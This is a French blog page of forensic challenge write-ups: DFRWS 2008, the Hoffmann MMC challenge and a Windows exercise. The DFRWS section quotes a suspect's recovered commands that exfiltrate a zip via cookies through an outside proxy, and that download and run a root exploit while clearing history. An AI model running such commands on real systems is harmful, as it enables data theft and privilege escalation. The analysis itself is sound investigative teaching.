Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

inforensique

Ma solution du challenge DFRWS 2008

Rédigé par devloop - -

Introduction

Le Digital Forensic Research Workshop (DFRWS) est une organisation qui cherche à faire évoluer les recherches en inforensique, cela notamment par l'organisation d'un concours organisé chaque année depuis 2001.

Le challenge de cette année 2008 est ouvert depuis début mai mais comme j'en ai eu vent que récemment, j'ai commencé mon analyse seulement 3 jours avant la fermeture du challenge. Ce qui n'est pas bien grave puisque le challenge s'adresse principalement aux citoyens des Etats-Unis et je ne pensais pas le faire "officiellement".

Je comptais poster mon analyse en fin d'après-midi mais force et de constater que je n'ai pas eu le temps et que les derniers "détails" que je voulait régler étaient plus prenant que je ne le pensais.

L'objectif des organisateurs pour cette année 2008 est de faire avancer les méthodes d'analyse de la mémoire RAM des systèmes GNU/Linux. C'est pour cette raison que les données offertes pour l'analyse sont une image de la mémoire d'un système mais aussi un enregistrement de communications réseau (fichier pcap) et une copie des fichiers présents dans le répertoire personnel du suspect.
A noter que pour le répertoire personnel il s'agit vraiment d'une "copie de fichiers" et non de l'image d'une partition.

Je tiens à signaler que dans ma version de la solution vous ne trouverez pas de tools ou de techniques de-la-mort-qui-tue sur comment extraire la liste des processus depuis une image RAM ou obtenir la liste des fichiers qui étaient ouvert depuis cette même image.
Après quelques recherches, le sujet m'a paru trop complexe et j'ai privilégié une analyse plus "classique". Toutefois si le sujet vous intéresse vous pouvez vous plonger dans une thèse de 2006 réalisée par des étudiants de la "Naval Postgraduate School" de Monterey (Californie) et baptisée An analysis of Linux RAM forensics ou le document Digital forensics of the physical memory de Maruisz Burdach et daté de 2005.

Le scénario

Votre entreprise est la cible de vol d'information. Une enquête a été faite avec surveillance réseau en parallèle qui a permis de souligner le comportement suspect d'un employé.
L'équipe sécurité de la boite a récupéré différentes données que vous devez analyser pour déterminer qu'elles ont été les activités récentes de cet utilisateur.

Votre entreprise souhaiterait avoir des réponses aux interrogations suivantes :
  • Quelle activité de l'utilisateur peut être mis en évidence d'après les données ?
  • Est-ce qu'une activité suspecte peut-être décelée sur ce système ?
  • Il y a t'il des preuves de collaboration avec une personne extérieure ? Si oui de quelle façon ?
  • Est-ce que des données sensibles ont été volées ? Sinon peut-on en savoir plus sur la nature des données et la façon dont elles ont été transmises ?

Analyse des fichiers de l'utilisateur

L'analyse des fichiers est sans doute la partie la moins intéressante du challenge. Principalement parce qu'il y a peut d'informations intéressantes. On devine facilement au nombres de dossiers présents que l'utilisateur n'utilisait pas le système depuis longtemps et n'a pas fouillé dans les configurations du système.
De plus on suspecte très vite l'utilisateur d'avoir fait un peu de ménage derrière lui. Notamment le dossier .Trash est manquant tout comme l'historique de bash.

D'après les fichiers présents, on est en mesure de dire que l'utilisateur utilisait un window manager basé sur GTK, très certainement GNOME.
La présence du fichier .gnome2/gedit-metadata.xml met en évidence l'utilisation de l'éditeur de texte Gedit. Ce fichier permet de garder en mémoire la position du curseur dans les fichiers qui ont été ouverts jusqu'à présent. Ainsi à la prochaine ouverture du fichier, le curseur est replacé à la ligne mémorisée la dernière fois.
Le contenu de ce fichier prouve l'édition des fichiers .bash_history, .bashrc, .lesshst et enfin d'un fichier "ELF exploit.sh" qui était présent dans un répertoire "temp" qui n'existe plus.
L'autre historique intéressant est celui de Midnight Commander situé à l'emplacement .mc/history.
On y voit le chemin du home de l'utilisateur (/home/stevev) et aussi un point de montage sur /mnt/hgfs/Admin_share.
Le dernier répertoire accédé est /media/disk/DFRWS, à priori une preuve du passage de l'équipe de sécurité lors de la récupération des données.

Un autre fichier nous permet de déterminer que le système utilisé est basé sur RedHat (du moins il utilise le gestionnaire de paquet YUM)

Analyse du cache de Firefox

L'utilisateur n'ayant de toute évidence pas pensé à vider son historique de navigation web, son contenu devient une véritable mine d'or.
Tout d'abord, le fichier cookies.txt nous permet d'avoir facilement une liste des sites qu'il a visité. Une fois que l'on retire les habituels sites d'ADS/trackers/publicité, il nous reste la liste suivante :

corporate.disney.go.com
disney.go.com
docs.google.com
forum.freeadvice.com
live.com
login.live.com
mail.google.com
noblebank.pl
spreadsheets.google.com
www.bankrate.com
www.derkeiler.com
www.google.com
www.msn.com
travelocity.com


La grande majorité des sites visités sont pour le moins classique. Il y a seulement la présence de derkeiler qui laisse suposer que l'employé s'intéresse à la sécurité informatique (ce site rassemble des mailing-lists sur le sujet).

Firefox : les fichiers formhistory.dat et history.dat

Ces deux fichiers sont écrits dans un format pour le moins étrange. Après quelques recherches on apprend que cette structure est du Mork, un format de fichier pour le moins critiqué...

Pour décoder ces deux fichiers j'ai testé différents logiciels gratuits et open-source comme demork.py qui transforme les données en une version XML, mork.pl qui présente les résultats très simplement sous la forme d'une liste et fhdump.pl qui, si mes souvenirs sont bons, ne m'a rien renvoyé.
Mais je crois que mon préféré a été celui de Foundstone baptisé DumpAutoComplete et qui fonctionne sous Windows (exe) comme sous Linux (version Python) et donne un output XML plutôt sympathique.

Le fichier formhistory.dat stocke le texte que l'utilisateur a saisie dans des formulaires. On n'y retrouve toutefois pas de mot de passe, l'utilisateur n'ayant probablement pas activé cette fonctionnalité.
Une partie intéressante de ce fichier est celle qui conserve les recherches effectuées depuis le navigateur. Ces informations données par l'outil de Foundstone se représentent ainsi :
<field name="searchbar-history">
  <saved>CAN-2005-1263</saved>
  <saved>extradition costa rica</saved>
  <saved>maldives</saved>
  <saved>non-extradition countries</saved>
  <saved>overseas credit card payments</saved>
  <saved>panama extradition</saved>
  <saved>private banking</saved>
  <saved>privilege elevation 2.6.19</saved>
</field>

Il semblerait que notre suspect ait envie de s'éclipser quelques temps dans une contrée où il ne risque rien et, si possible, au soleil voire dans des paradis fiscaux.
Il a aussi effectué une recherche sur des failles de sécurité du kernel qui pourrait lui permettre de passer root sur sa machine (ou une autre).

Les autres informations saisies par formulaire nous apprenent que notre suspect se prénomme Steve Vogon, qu'il a deux adresses mails qui sont Steve.Vogon@gmail.com et steve_vogon@hotmail.com et qu'il compte prendre un avion à destination du Costa Rica avec une certaine Catherine Lagrande.
Steve est joignable au 202 555 9900 toujours d'après le fichier formhistory.dat.
Je tiens à préciser que je n'ai pas forcément obtenu ces informations dans le même ordre que l'article mais j'essaye de suivre un ordre logique pour expliquer.

Le fichier history.dat rassemble, dans l'ordre, les urls que l'utilisateur a visité. Cela nous permet de comprendre mieux le cheminement suivi lors de ses recherches sur Internet et on pourrait ainsi créer une "timeline" de son activité.
Je vous passe les détails de cette navigation, le principal à remarquer est que l'utilisateur est allé voir ses messages sur GMail et Windows Live et qu'il semble faire une utilisation assez soutenue de Google Docs (l'ancien Writely) et de Google Spreadsheet. Des services de travail collaboratif en ligne.

Les mots de passe enregistrés par Firefox

Firefox utilise un système de chiffrement particulier. Les mots de passes sont stockés chiffrés dans le fichier signons2.txt, protégés à l'aide d'un mot de passe maitre présent dans key3.db (chiffré lui aussi à priori).
Les fichiers cert8.db et secmod.db entrent aussi en compte dans ce système.
Un outil en Ruby ainsi que FirePassword permettent d'extraire les informations de ces fichiers... mais il faut connaître le mot de passe maître, aussi je n'ai pas cherché plus loin.

Le cache de Firefox

En l'occurence présents dans .mozilla/firefox/n5q6tfua.default/Cache, ces fichiers n'ont pas d'extensions et ont un nom composé de 11 caractères dans l'alphabet hexadécimal (de 0 à 9 et de A à F).
Le plus simple est encore de profiter de la force de Linux qui détermine le type des fichiers à partir de leur entête. Avec un simple gestionnaire de fichier comme Dolphin, une visionneuse d'images comme Gwenview, un éditeur de texte et un navigateur web, on peut analyser la quasi totalité des fichiers.
Restent les archives gzippées qui requièrent une étape supplémentaire de décompression et les fichiers _CACHE_00X_ générés par le navigateur.
Après avoir cherché sans succès un outil open-source fonctionnant sous Linux pour lire ces fichiers CACHE et m'être cassé la tête pour essayer de faire fonctionner un script python pas au point, je m'en suis remis à PhotoRec qui s'est montré particulièrement efficace pour en extraire des fichiers (les fichiers _CACHE_XXX_ sont un peu comme des archives tar, le fichier _CACHE_MAP_ est la "carte" disant à quel offset se trouve chaque fichier)

Les images extraites permettaient de voir que le suspect est allé sur le site et le blog du Projet Metasploit et différents sites de voyage.
maldives
Dans le cache du navigateur on retrouve aussi énormément de code javascript ou CSS qui ont été chargés avec les pages. Concernant les connexions à Google vous avez peut-être déjà remarqué que ce dernier se sert en grande quantité du format d'échange JSON. Le résultat c'est que les données qui nous intéressent ne se trouvent pas dans les pages HTML mises en cache mais dans des fichiers textes à part...

Au final on en extrait la conversation suivante avec une certaine "Faa Tali" :
Re: Negotiate (Google Docs)
I apologize for the delay -- I was required to travel recently.
I agree with your final terms and will contact you via the cell provided to discuss the transfer. I have received your software package and instructions for transfer.

On Dec 9, 2007 3:15 AM, faa tali wrote:
We are close, but please notice the changes I made. Let's move this along. A swift resolution would be appreciated.

Date: Sat, 8 Dec 2007 21:53:26
Subject: Negotiate (Google Docs)
From: Steve.Vogon@gmail.com
To: faatali@hotmail.com

I've shared a document with you called "Negotiate"
http://spreadsheets.google.com/ccc?key=XXXXX&inv=faatali@hotmail.com...
It's not an attachment -- it's stored online at Google Docs. To open this document, just click the link above.
Please answer on the prices and items listed.

On apprend par ce mail que notre suspect négocie le prix de différentes informations et ce par le biais d'un tableur partagé sur Google Spreadsheets. Il est aussi question d'un logiciel et d'instructions pour un transfert.

Plus tard, Steve renverra un message à Faa Tali qui est le suivant :
On Sun Dec 16 2007_10:24 PM
To: faa tali
Subject: Delivery information

Hi, I will be delivering the items as we discussed. I plan to use your 219. location for the items.
Please check for them within the next few hours and then arrange for a reciprocal transfer.
There is one item I will keep in reserve subject to your follow-through. It's noted on the spreadsheet.

On apprend que l'employé par envoyer les éléments sur le "219". La nature des données est listée dans le tableau que Steve a mis en ligne. C'est une information importante qu'il va nous faloir récupérer ;-)

Dans un sujet pas si éloigné que ça, Steve Vogon a aussi effectué une recherche Google sur les termes "private banking" qui l'ont amené sur le site http://www.noblebank.pl/.
D'après les même données formatées en JSON, on sait qu'il a demandé des renseignements auprès de cette banque :
To: investors@noblebank.pl
Subject: Minimum account  opening balance

Hello,
Can you please tell me what the minimum balance requirement is for opening an overseas account at your bank?
Thank you,
Steve K. Vogon

Il pense sans doute faire transiter l'argent de madame "faatalis" par cette banque.

Analyse du flux réseau

Je serais assez bref sur cette partie du challenge. Le fichier pcap fournit ne contient que des communications HTTP et des requêtes/réponses DNS mis à part une poignée de pings (ICMP ECHO). Le traffic HTTP n'est ni plus ni moins celui que l'on retrouve dans le cache du navigateur.
J'ai vite parsé le fichier pcap dans Chaosreader que je ne pense pas abandonner de si tôt.
C'est vraiment très pratique et j'ai passé énormément de temps à étudier les logs par l'interface qu'il a généré et je me suis souvent référé à son résultat pour vérifier tel ou tel élément.

Un des points que j'ai toutefois relevé avec Chaosreader et pas avec le cache du navigateur est que l'utilisateur du système s'est rendu sur ekiga.net/ip/ et que le site a retourné que l'adresse ip du suspect depuis l'Internet était 24.3.109.26 (en local son ip est 192.168.151.130).

Mickey MouseCe que en revanche je ne m'explique pas, c'est le temps qu'aura passé l'utilisateur sur le site de Disney... peut-être souhaite-t-il se reconvertir en Mickey Mouse ?

L'analyse de la mémoire

Le "dump" de la mémoire physique fait 284Mo. Son analyse a été très intéressante même si j'aurais passé énormément de temps pour rien les yeux collés devant des outputs de hexdump.
La recherche s'est faite à grands coups de grep avec les options -b (afficher les offsets correspondants), -a (traiter le fichier comme si c'était un fichier texte) et parfois -i (insensible à la casse).

Les termes recherchés ont été déterminés à partir des éléments obtenus précédemment.
Par exemple en sachant que le nom d'user du suspect est "stevev" et le nom d'hôte du système est "goldfinger", une recherche sur "stevev@goldfinger" a permis d'extraire des commandes tappées sous bash :
[stevev@goldfinger ~]$ export http_proxy="http://219.93.175.67:80"
[stevev@goldfinger ~]$ cp /mnt/hgfs/software/xfer.pl .
[stevev@goldfinger ~]$ ./xfer.pl archive.zip
Preparing archive.zip for transmission ......
Sending now. Patience please
Data transmission complete.
Exiting
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ unset http_proxy
[stevev@goldfinger ~]$ rm xfer.pl
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ netstat -tupan

Cette suite de commandes met en évidence l'utilisation d'un script perl qui a permis de transférer une archive zip vers une machine, et ce après avoir défini un proxy dont l'ip commence par... 219 (quel hazard !! ;-) )

Une recherche sur "#!/usr/bin/perl" nous permettra de retrouver les quelques scripts perls présent dans la mémoire du système. Après visualisation par hexdump et avoir affiné les offsets (hexdump -C -s 258019329 -n 3208 challenge.mem) on peut extraite le script avec dd (dd if=challenge.mem skip=258019329 bs=1 count=3208 of=xfer.pl)
Le fichier obtenu est visible ici : xfer.pl sur pastebin.ca. La coloration syntaxique est un peu cassé à la fin à la cause des backquotes mais on arrive à lire la grande majorité.

Le script xfer.pl

Le script en question est pas mal pensé. Il utilise une technique de covert channel (voyez ça comme de la stéganographie réseau) qui fait passer un fichier en petits morceaux à travers la section "Cookie" des requêtes HTTP.
Techniquement le fichier est d'abord encodé en base64 puis coupé en morceaux de 1236 octets. Le script a une liste d'urls prédéfinies et il envoie une simple requête HTTP GET vers les sites en insérant le morceaux de fichier encodé.
On voit dans le code que le script a recours à la commande wget pour envoyer les données. Seulement le problème avec wget c'est qu'il est trop bien conçu. Ainsi s'il tombe sur une redirection il va renvoyer la requête jusqu'à ce qu'il parvienne à la bonne url.
Pour éviter les doublons, le script rajoute un indicateur dans les requêtes HTTP permettant au récepteur de déterminer si le morceau qu'il recoit est bien la suite et non une copie du précédent.

Pour extraire l'archive zip de ce flux caché, j'ai d'abord recréé un fichier pcap en créant un filtre sur les paquets à destination de 219.93.175.67:80 (le récepteur qui tient en plus le rôle de proxy).
J'ai ensuite utilisé tcpflow pour extraire les requêtes HTTP brutes avec la commande suivante :
tcpflow -r agadou.pcap  -c > reqs.txt

J'ai retiré les doublons dans le fichier texte obtenu puis écrit un code assez maladroit (d'où l'étape préliminaire) pour recréer l'archive zip :
#!/usr/bin/env python
import base64

f=open("reqs.txt")
zip=""
while True:
  line=f.readline()
  if line=="": break
  if line.startswith("Cookie: "):
    if line.find("CVal=")>=0:
      zip+=line.split("CVal=")[1].strip()
    if line.find("Sessid=")>=0:
      zip+=line.split(&"Sessid=")[1].strip()
    if line.find("RMID=")>=0:
      zip+=line.split("RMID=")[1].strip()
zip=zip.replace("\n","")
print zip
zip=base64.b64decode(zip)
fo=open("archive.zip","w")
fo.write(zip)
fo.close()
f.close()


Archive.zip

Si on regarde à l'intérieur, on voit que l'archive contient les fichiers suivants :
Archive:  archive.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
   141824  12-08-07 14:19   mnt/hgfs/Admin_share/acct_prem.xls
   100864  12-08-07 14:09   mnt/hgfs/Admin_share/domain.xls
     2395  08-05-00 16:54   mnt/hgfs/Admin_share/ftp.pcap
 --------                   -------
   245083                   3 files

Seulement.. l'archive est protégée par mot de passe. Ma première idée a été de continuer à fouiller dans la mémoire pour essayer de trouver le mot de passe.
L'utilisateur a créé l'archive en ligne de commande :
zip archive.zip /mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls /mnt/hgfs/Admin_share/ftp.pcap

puis il a protégé par mot de passe en utilisant la commande zipcloak
zipcloak archive.zip

J'ai donc fouillé dans la mémoire en cherchant l'image de ces processus mais je n'ai vu aucun mot de passe autour des commandes zip ou zipcloak.

Comme on n'est jamais mieux servi que par soit même (en tout cas dans mon cas sous Linux), j'ai tenté de casser le mot de passe en utilisant lzcrack, un casseur de pass d'archives zip que j'ai développé il y a un certain temps, mais je n'ai obtenu aucun résultat.

J'ai aussi tenté de trouver les fichiers en clair (avant compression) dans l'image de la mémoire mais aucun document xls ni aucun traffic TCP ni étaient présents.

Got r00t ?

Toujours à coups de grep j'ai pu découvrir une autre suite de commandes lancées par bash :
uname -a
who
ll -h
mkdir temp
ll -h
chmod o-xrw temp/
ll -h
cd temp/
cp /mnt/hgfs/Admin_share/*.xls .
cp /mnt/hgfs/Admin_share/*.pcap .
exit
uname -a
id
exit
X -v
X -V
X -version
cd temp
wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
tar -zpxvf xmodulepath.tgz
cd xmodulepath
ll
unset HISTORY
./root.sh
exit
pwd
cd ..
cp /mnt/hgfs/Admin_share/intranet.vsd .
ll
ls -lh
exit

On y voit notre pirate (on peut maintenant le dire) créer un répertoire "temp" (qu'il supprimera par la suite) et y recopier différents fichiers.
Il obtient ensuite la version de Xorg sur le système, télécharge un exploit pour une faille de sécurité existante, l'exécute puis en profite pour récupérer un dernier fichier.
Comme on ne dispose pas des résultats des commandes il est difficile de dire si l'utilisateur a effectivement réussi à passer root mais le fait qu'il copie ensuite un fichier qui se trouvait dans le même dossier laisse supposer que des permissions l'avaient empéché de le faire plus tôt...

La suite de l'analyse de la mémoire a permis d'extraire des lignes de logs générées par syslogd, de voir qu'un serveur sendmail tournait, que Steve a un uid de 501, que le système est une distribution CentOS avec un kernel 2.6.18 et qu'on trouve tout un tas de chose en mémoire.
Un peu de carving avec PhotoRec a révélé la présence de beaucoup d'images de la navigation web en mémoire, certaines partielles, d'autres complètes.
J'ai aussi testé Scalpel pour l'occasion, mais je crois que je vais rester sur le précédent.

Les trophés

Toute chose ayant une fin, voici le fameux tableau partagé sur Google. Les CSS n'étant pas intégrés, le rendu donne un peu brut :
Spreadsheet

L'invitation de partage du tableau à destination de Faa Tali
Steve Vogon... pas si américain que ça ?
A destination du Costa Rica, passage par le Salvador
Il y en a qui s'en font pas... pourtant c'est pas avec ces 57 dollars qu'il va se payer ça

Solution du Hoffmann Forensic Challenge

Rédigé par devloop - -

Le Hoffmann Forensic Challenge est un challenge d'inforensique organisé par le Linux Magazine néerlandais dont la date de récupération des "copies" était le 31 décembre dernier.
J'en profite donc pour donner ma correction à moi, peut-être pas complète mais probablement la seule disponible en ligne à l'heure actuelle.

EDIT: Suite à une demande, j'ai retrouvé sur mon disque le fichier originalement fourni pour le challenge. Ceux qui souhaitent s'exercer sur ce challenge pourront le télécharger ici.

Enoncé

Ceux qui, comme moi, ne parle pas le néerlandais, pouvaient se concentrer sur une traduction anglaise de l'énoncé.
L'histoire (fictive) c'est qu'un certain "Willem Z" a été arrêté. A son domicile ont été trouvés du matériel pour fabriquer des explosifs, 5 ordinateurs et tous un tas de trucs montrant son attirance pour le système d'exploitation libre GNU/Linux.
Malheureusement, les disques durs des ordinateurs sont chiffrés et le suspect est muet comme une carpe. Malgré cela il est probable qu'une attaque terroriste soit planifiée.
Dans l'appareil photo de Z a été trouvé une carte mémoire sur laquelle aucune photo ne semble présente. Mais la police suspecte que cette carte mémoire recèle peut-être des informations importantes, c'est pour cela qu'elle fait appel à vous, "the forensic expert".

Questions auxquelles répondre
  • Qui sont les terroristes et quand l'attaque est-elle prévue ?
  • Quel est la cible de l'attaque ?
  • Pour chaque fichier important, dire quelles protections ont été prises pour cacher les données.
  • Expliquez comment vous, the forensic expert avez vous obtenu ces informations

Décortiquage de l'image

Le seul élément auquel on a droit est un fichier nommé "472af4e029380mmc_challenge.E01" qui correspond à l'image disque d'une carte MMC d'appareil photo.

Ce fichier ne fait que 793 Ko, et quand on lance un file dessus on n'obtient rien de bien parlant (data).
De plus un strings ne nous donnera rien de mieux. Seule piste, le header du fichier qui commence par les lettres "EVF".

Après quelques recherches et en lisant les pages correspondant aux 3 premières références données pour le challenge, on parvient à déterminer qu'il s'agit d'un format défini par le logiciel spécialisé EnCase. EVF correspond à EnCase Evidence File, mais le format en lui-même est le Expert Witness format (EWF).

On en apprends un peu plus sur ce format par le biais d'une doc pour PyFlag et une lettre d'information SleuthKit :

Expert witness format is a proprietary format which is mainly used by Encase and FTK. This format also compresses data in 32kb chunks to achieve a seekable compressed file. This file format must also be split across files smaller than 2gb (generally 640mb is used).


Pour mon analyse, je me sers uniquement de logiciels libres. J'ai dû récupérer la librairie EWF qui est accompagnée de quelques outils très utiles ainsi que de l'indispensable SleuthKit que j'ai recompilé avec EWF.

La commande mmls de SleuthKit nous permet de mettre en évidence la présence de partitions dans l'image :
> mmls 472af4e029380mmc_challenge.E01
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

     Slot    Start        End          Length       Description
00:  -----   0000000000   0000000000   0000000001   Primary Table (#0)
01:  -----   0000000001   0000000015   0000000015   Unallocated
02:  00:00   0000000016   0000013247   0000013232   Linux (0x83)
03:  -----   0000013248   0000013279   0000000032   Unallocated

On remarque la présence d'une partition Ext2 à l'offset 16. Avec fls, on peut lister les fichiers présents à conditionde spécifier le format de l'image (EWF) et l'offset (16) :
> fls -r -i ewf -o 16 472af4e029380mmc_challenge.E01
d/d 11: lost+found
r/r 12: file1.jpg
r/r 13: file2.jpg
r/r 14: file4.jpg
r/r 15: file5.odt


Extraction des fichiers

On voit déjà quelques fichiers présents dans l'image. A l'aide de la commande icat on peut les extraire (dernier argument = numéro d'inode du fichier à extraire) :
> icat -i ewf -o 16 472af4e029380mmc_challenge.E01 12 > file1.jpg
Après avoir extrait les autres fichiers et lancé un file, on obtient des résultats correspondant bien aux extentions... du moins pour les images :
file1.jpg: JPEG image data, JFIF standard 1.01
file2.jpg: JPEG image data, JFIF standard 1.01
file4.jpg: JPEG image data, JFIF standard 1.01
file5.odt: data

La première image est une photo de deux personnes (de vraies têtes de terroristes) :

La seconde image représente... heu je passe.

La troisième image est cassée ("premature end of data segment") mais de toute évidence, il s'agit d'une copie d'écran d'une photo satellite pompée sur Google Maps.

Quand à notre fichier ODT (format OpenOffice.org), si on le regarde de plus prêt (avec un héditeur hexadécimal) on remarque quelque chose d'assez particulier :
4b 50 04 03 00 14 00 00  00 00 96 5b 37 44 c6 5e  |KP.........[7D.^|
0c 32 00 27 00 00 00 27  00 00 00 08 00 00 69 6d  |.2.'...'......im|
65 6d 79 74 65 70 70 61  6c 70 63 69 74 61 6f 69  |emyteppalpcitaoi|

Les plus attentifs auront compris que pour les octets du fichiers ont été inversés deux à deux. Un fichier OpenOffice n'est rien de plus qu'une archive ZIP avec des fichiers pour le style, la définition et le contenu du document. Or une archive ZIP commence par "PK" et non "KP". De même au lieu de lire "imemytep" il faut lire "mimetype".

Un script Python vite-fait-mal-fait, permet de remettre les choses en ordre (output à rediriger vers un fichier) :
import sys
fd=open("file5.odt")
buff=fd.read()
count=len(buff)
reste=count%2
if reste==1: count-=1
for i in range(0,count,2):
  chars=buff[i+1]+buff[i]
  sys.stdout.write(chars)
if reste==1:
  sys.stdout.write(buff[len(buff)-1])
fd.close()

On ouvre le fichier ODT corrigé. Ce dernier est un document vantant les mérites d'Ubuntu, si ce n'est qu'une page a été ajoutée avec les lignes suivantes :

wachtwoord=slechtetijden
steghide gebruiken om te extracten


Sans être néerlandais pour autant, j'aurais tendance à dire qu'il faut se servir de steghide (un logiciel de stéganographie) pour extraire des données d'une des images et ce en utilisant le mot "slechtetijden" comme mot de passe.

Malheureusement tous nos essais sont voués à l'échec. De toute évidence les fichiers sont incomplets ou alors c'est l'image corrompue qui contient les données cachées.

Extraction des fichiers (seconde méthode)

Cette fois-ci on va faire du carving sur le système de fichier en brut. Pour cela il faut l'extraire de l'image EWF.
Les outils fournis avec la libewf s'avèrent très efficaces (prendre les options par défaut pour ewfexport) :
> ewfinfo 472af4e029380mmc_challenge.E01
ewfinfo 20071209 (libewf 20071209, zlib 1.2.3, libcrypto 0.9.8)

Acquiry information
        Case number:            1
        Description:            Hoffmann forensic challenge for Linux magazine
        Examiner name:          TGP
        Evidence number:        1
        Notes:                  MMC San disk found in digital camera
        Acquiry date:           Tue Oct  9 13:23:45 2007
        System date:            Tue Oct  9 13:23:45 2007
        Operating system used:  Linux
        Software version used:  20070512
        Password:               N/A

Media information
        Media type:             fixed disk
        Media is physical:      yes
        Amount of sectors:      13280
        Bytes per sector:       512
        Media size:             6799360
        Error granularity:      64
        Compression type:       best compression
        GUID:                   00000000-0000-0000-0000-000000000000
        MD5 hash in file:       ff810a83895039486e813c675ada6b39

> ewfexport -t plop 472af4e029380mmc_challenge.E01
ewfexport 20071209 (libewf 20071209, zlib 1.2.3, libcrypto 0.9.8)

Information for export required, please provide the necessary input
Export to file format (raw, ewf, smart, ftk, encase1, encase2, encase3, encase4, encase5, encase6, linen5, linen6, ewfx) [raw]:
Start export at offset (0 >= value >= 6799360) [0]:
Amount of bytes to export (0 >= value >= 6799360) [6799360]:

Export started at: Thu Dec 20 17:50:26 2007

This could take a while.

Export completed at: Thu Dec 20 17:50:26 2007

Written: 6.4 MiB (6799360 bytes) in 0 second(s).


On peut maintenant travailler sur le fichier "plop" :
> file plop
plop: x86 boot sector, extended partition table (last)\011

Pour le carving, j'ai eu recours à Foremost (nécessite un fichier de conf bien fourni en entêtes) puis à PhotoRec qui s'est montré bien plus efficace.
> photorec /debug plop

Les fichiers obtenus et leur somme MD5 sont :
270a0a913fa9603db8121fdf78d63aca  f10258.jpg
589032f2ec313816ef36772a08808db0  f10318.jpg
59bcfa18339749f1d25a6d30a2668a64  f10526.jpg
e92a8f1202253443274122572bbb00d3  f11616.jpg

Les deux premiers fichiers, nous les connaissons déjà.
Le troisième est la copie d'écran de Google Maps... mais au complet :

Enfin, le dernier est une autre version du fichier que l'on connait déjà (le composant électronique) car la somme MD5 ne correspond pas. En réalité il s'agit du fichier où on été dissimulé les données. On se sert alors de steghide pour les extraire :
> steghide extract -sf f11616.jpg -xf hidden_data
Enter passphrase:
wrote extracted data to "hidden_data".

Le contenu du fichier texte obtenu est le suivant :
Contact codenaam        e-mail  gsm
piet    de spier        despier@mail.com        06-11111111
karel   de gok  degok@mail.com  06-22222222
henk    de arm  dearm@email.com 06-33333333
johan   de teen deteen@postvak.nl       06-44444444
sondra  de oorbel       deoorbel@postbak.nl     06-55555555
jimmy   oerwoud oerwoude@jungle.nl      06-66666666
bertus  de melker       demelker@mail.com       06-77777777

        2 januari worden de bloemetjes buiten gezet

La liste correspondant très probablement à la liste des terroristes, il ne nous reste plus qu'à traduire la dernière ligne à l'aide de Google Translate (Dutch to English).
On en déduit que ces crétins là veulent faire exploser des tulipes au Keukenhof, un parc floral situé au nord-ouest de Lisse, en Hollande. L'attaque est planifiée pour le 2 janvier.
Site officiel du parc Keukenhof.

Pour revenir à la troisième question, les protections prises par le suspect pour protéger ses données étaient le "cryptage" du fichier ODT, l'utilisation de steghide et un système de fichier qui a été cassé (intentionnelement ou non, je ne saurais dire)

Analyse forensique d'un système Windows : partie 3

Rédigé par devloop - -

A popular IRC (Internet Relay Chat) program called MIRC was installed. What are the user settings that was shown when the user was online and in a chat channel?
Les préférences sont sauvegardées dans le fichier Program Files/mIRC/mirc.ini :
[ident]
active=yes
userid=Mrevil
system=UNIX
port=113
[mirc]
user=Mini Me
email=none@of.ya
nick=Mr
anick=mrevilrulez
host=Undernet: US, CA, LosAngelesSERVER:losangeles.ca.us.undernet.org:6660GROUP:Undernet

This IRC program has the capability to log chat sessions. List 3 IRC channels that the user of this computer accessed.
On trouve entre autres les fichiers suivants dans Program Files/mIRC/logs : #Chataholics.UnderNet.log, #Elite.Hackers.UnderNet.log, #evilfork.EFnet.log, #thedarktower.AfterNET.log, #ushells.UnderNet.log.

Ethereal, a popular "sniffing" program that can be used to intercept wired and wireless internet packets was also found to be installed. When TCP packets are collected and re-assembled, the default save directory is that users \My Documents directory. What is the name of the file that contains the intercepted data?
Sans difficultées on trouve un fichier pcap à Documents and Settings/Mr. Evil/interception

Viewing the file in a text format reveals much information about who and what was intercepted. What type of wireless computer was the victim (person who had his internet surfing recorded) using?
Ce que Mr. Evil a pu intercepter, c'est du traffic HTTP.
Une simple requête nous donne des informations sur la victime :
GET /hm/folder.aspx HTTP/1.1
Accept: */*
UA-OS: Windows CE (Pocket PC) - Version 4.20
UA-color: color16
UA-pixels: 240x320
UA-CPU: Intel(R) PXA255
UA-Voice: FALSE
Referer: http://mobile.msn.com/hm/folder.aspx?ts=1093601294&fts=1093566459&folder=ACTIVE&msg=0
UA-Language: JavaScript
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
Host: mobile.msn.com
Connection: Keep-Alive

On a donc affaire à un PDA équipe de Windows CE avec le navigateur Internet Explorer.

What websites was the victim accessing?
# strings interception|grep Host|sort|uniq
Host:239.255.255.250:1900
Host: login.passport.com
Host: login.passport.net
Host: mobile.msn.com
Host: www.passportimages.com

La victime accédait à son compte MSN depuis son PDA.

Les requêtes étranges correspondant à l'adresse IP 239.255.255.250 et à destination du port 1900 sont en fait des requêtes UPnP. L'adresse IP 239.255.255.250 est une adresse multicast et n'est pas routable sur Internet.

En regardant les paquets on voit aussi que Mr. Evil laisse "échapper" une requête SMB :

Search for the main users web based email address. What is it?
Un grep sur le caractère arobace nous donne deux résultats.
Le premier correspond à des données envoyées par POST pour l'envoi d'un email :
__EVENTTARGET=&__EVENTARGUMENT=&ToTextBox=rudy@hotmail.com&CcTextBox=&BccTextBox=& SubjectTextBox=Hey%2C+This+is+Mr+Evil&BodyTextBox=Hi.+Call+me&SendCommand=Send
et celle qui nous intéressera plus et la requête de déconnexion à MSN :
GET /logout.srf?lc=1033&id=961&...
Accept: */*
UA-OS: Windows CE (Pocket PC) - Version 4.20
UA-color: color16
UA-pixels: 240x320
UA-CPU: Intel(R) PXA255
UA-Voice: FALSE
Referer: http://mobile.msn.com/hm/folder.aspx?ts=1093601294&fts=1093566459&folder=ACTIVE&msg=0
UA-Language: JavaScript
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
Host: login.passport.com
Connection: Keep-Alive
Cookie: MSPPre=findme69@hotmail.com; BrowserTest=Success?; MSPPost=1; MSPAuth=6jjJk8xxgD...

